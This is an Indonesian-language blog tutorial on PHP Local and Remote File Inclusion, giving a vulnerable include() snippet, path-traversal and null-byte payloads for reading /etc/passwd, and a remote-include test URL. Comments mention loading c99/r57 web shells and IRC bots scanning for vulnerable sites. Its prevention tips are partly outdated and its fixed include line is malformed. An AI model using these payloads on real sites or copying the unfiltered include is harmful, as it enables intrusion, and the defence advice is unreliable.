Home > Hacking > Local File Inclusion (LFI) dan Remote File Inclusion (RFI)

Local File Inclusion (LFI) dan Remote File Inclusion (RFI)

hack web 280x300 Local File Inclusion (LFI) dan Remote File Inclusion (RFI)LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.

RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.

Penjelasan

Fungsi-fungsi yang dapat menyebabkan LFI/RFI:

Kode:

include();

include_once();

require();

require_once();

Dengan syarat pada konfigurasi php di server:

allow_url_include = on

allow_url_fopen = on

magic_quotes_gpc = off

contoh:

misalkan kita punya file index.php dengan content kodenya seperti ini,

Code:

<?php

include “../$_GET[imagefile]“;

?>

misal $imagefile=image.php

mungkin di url akan terlihat seperti ini bentuknya

Code:

http://www.[target].com/index.php?imagefile=image.php

maka script ini akan menampilkan halaman image.php.

Disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter.

Misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah “../” itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target.

Tapi seandainya terdapat error seperti di bawah ini:

Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2

Ternyata pada passwd ditambah dengan extensi “.php” berarti code yang digunakan untuk include adalah seperti ini:

Kode:

<?php

include($_GET[imagefile].”.php”);

?>

Untuk dapat mengelabui script tersebut kita bisa menggunakan %00 (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan %00 seperti

http://www.[target].com/index.php?imagefile=../../../../../../../../../etc/passwd%00

lalu untuk apa %00? yaitu untuk menghilangkan karakter apapun setelah passwd.

* %00 ini disebut null injection.

Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya:

http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt

dengan file evil.txt misal berisi “hacked by H4CK3R”

jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga.

Pencegahan

Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu

1. Memvalidasi variable.

2. Mengkonfigurasi kembali settingan php pada server website Anda.

allow_url_include = off

allow_url_fopen = off

magic_quotes_gpc = on

3. pada include mungkin bisa ditambahkan “./”

jadinya seperti ini,

Code:

include(“./”$_GET[imagefile].”.php”);

maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya.

http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt

Dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/evil.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tsb.

Categories: Hacking Tags: , , , ,
  1. August 31st, 2009 at 02:43 | #1

    SAHABATKU RAIH FITRAH DIRI menjadi MANUSIA SEUTUHNYA UNTUK MENGEMBALIKAN JATI DIRI BANGSA
    Salam Cinta Damai dan Kasih Sayang ‘tuk Sahabat Sahabatku terchayaaaaaank
    I Love U fullllllllllllllllllllllllllllllll

  2. August 31st, 2009 at 02:44 | #2

    PERTAMAAAAAAAAAAAAAAAAAAAAAXXXXXXZZZZZZZZZZZZ

  3. August 31st, 2009 at 13:08 | #3

    mantab……………keren abis nih tutorial hacknya

  4. August 31st, 2009 at 17:20 | #4

    @kangboed salam cinta & sayang juga :D

    @Kuliah Gratis wew pdhl sy msh newbie, thx ya :)

  5. November 27th, 2009 at 00:58 | #6

    wew bgs2 tulisannya :)

  6. isnawan
    February 12th, 2010 at 08:15 | #7

    mas, file evil.txt itu file shell apa file txt biasa yang kita buat sendiri?
    berarti hasil rfi itu menampilkan isi file txt yang kita inginkan ya mas..?thx..maklum masih awam…

  7. February 12th, 2010 at 23:14 | #8

    yup file evil itu bisa diisi shell script macam c99 ato r57, hasilnya file itu seolah teruplot dan dieksekusi

  8. isnawan
    February 14th, 2010 at 14:59 | #9

    tanya lagi dong mas…kita taunya gimana mas nama variabel nya ..misalnya namanya imagefile spt contoh diatas?…makasih..

  9. February 15th, 2010 at 21:33 | #10

    itu nama file yang akan kita include kan, misalnya filenya disimpen di hostingnya sampean

  10. isnawan
    February 15th, 2010 at 22:43 | #11

    bkn itu mas. Kl nama file yang disimpan dihosting kita kan evil.txt seperti contoh diatas. Tp kl imagefile itu nama variabel yang ada pada file php nya si korban kn y mas?Nah kita taunya darimana kl ada variabel yang misalnya bernama imagefile seperti contoh diatas, sehingga kita bisa menuliskan url seperti : http://www.target.com/index.php?imagefile=http://www.remote.com/evil.txt …..makasih… maklum masih cupu…

  11. February 15th, 2010 at 22:52 | #12

    nah klo yang itu bisa cari script buat nyari celah inklusi, semacam scan inclusion yg dilutis pake perl itu sy lupa namanya:(

  12. isnawan
    February 15th, 2010 at 23:11 | #13

    Kl contoh mas yang ditulis di blog diatas itu nyarinya pakai scan inclusion dr perl gk? ……thx

  13. February 15th, 2010 at 23:38 | #14

    yup sy nyobanya di server sendiri, klo mau pake bot irc aja dsana bs scanning 24 jam semua situs yang ada RFI vulnerabilitynya…

  14. isnawan
    February 16th, 2010 at 00:03 | #15

    LFI dan RFI itu hasilnya nampilin isi file kyk passwd dan evil.txt aja ya mas?

  15. February 16th, 2010 at 22:17 | #16

    bisa macem2 tergantung skrip evil yg kt buat, mis dapet passwd db

  16. isnawan
    February 26th, 2010 at 16:22 | #17

    mas, kl contoh diatas yang:
    [Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya:

    http://www.target.com/index.php?imagefile=http://www.remote.com/evil.txt

    dengan file evil.txt misal berisi “hacked by H4CK3R”]

    itu kan cuma bisa menampilkan tulisan txt “hacked by H4CK3R”, nah itu ruginya di korban apa mas ?, terima kasih

  17. October 14th, 2011 at 09:35 | #18

    wah
    mantap artikelnya… sedot. kk

  1. No trackbacks yet.

CommentLuv badge